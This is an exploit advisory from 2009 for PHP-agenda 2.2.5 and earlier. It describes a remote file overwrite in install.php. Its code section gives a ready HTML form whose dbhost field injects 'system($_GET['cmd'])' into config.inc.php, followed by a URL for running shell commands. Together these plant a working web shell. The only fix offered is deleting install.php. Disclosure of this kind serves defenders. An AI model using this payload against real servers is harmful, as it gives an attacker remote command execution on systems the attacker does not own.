phpagenda-overwrite.txt
Posted on 10 April 2009
******* Salvatore "drosophila" Fresta ******* [+] Application: PHP-agenda [+] Version: <= 2.2.5 [+] Website: http://php-agenda.sourceforge.net [+] Bugs: [A] Remote File Overwriting [+] Exploitation: Remote [+] Date: 10 Apr 2009 [+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx@gmail.com ************************************************* [+] Menu 1) Bugs 2) Code 3) Fix ************************************************* [+] Bugs - [A] Remote File Overwriting [-] Risk: hight [-] File affected: install.php This bug allows a guest to overwrite config.inc.php inserting PHP code. ************************************************* [+] Code - [A] Remote File Overwriting <html> <head>PHP-agenda <= 2.2.5 - Remote File Overwriting</head> <body> <form action="http://www.site.com/path/install.php" method="post"> <input type="text" name="dbhost" size="30" value="'; system($_GET['cmd']); echo '"> <input type="submit" value="Exploit!" > </form> </body> </head> To execute commands: http://www.site.com/path/config.inc.php?cmd=uname -a ************************************************* [+] Fix You must delete install.php after installation. *************************************************
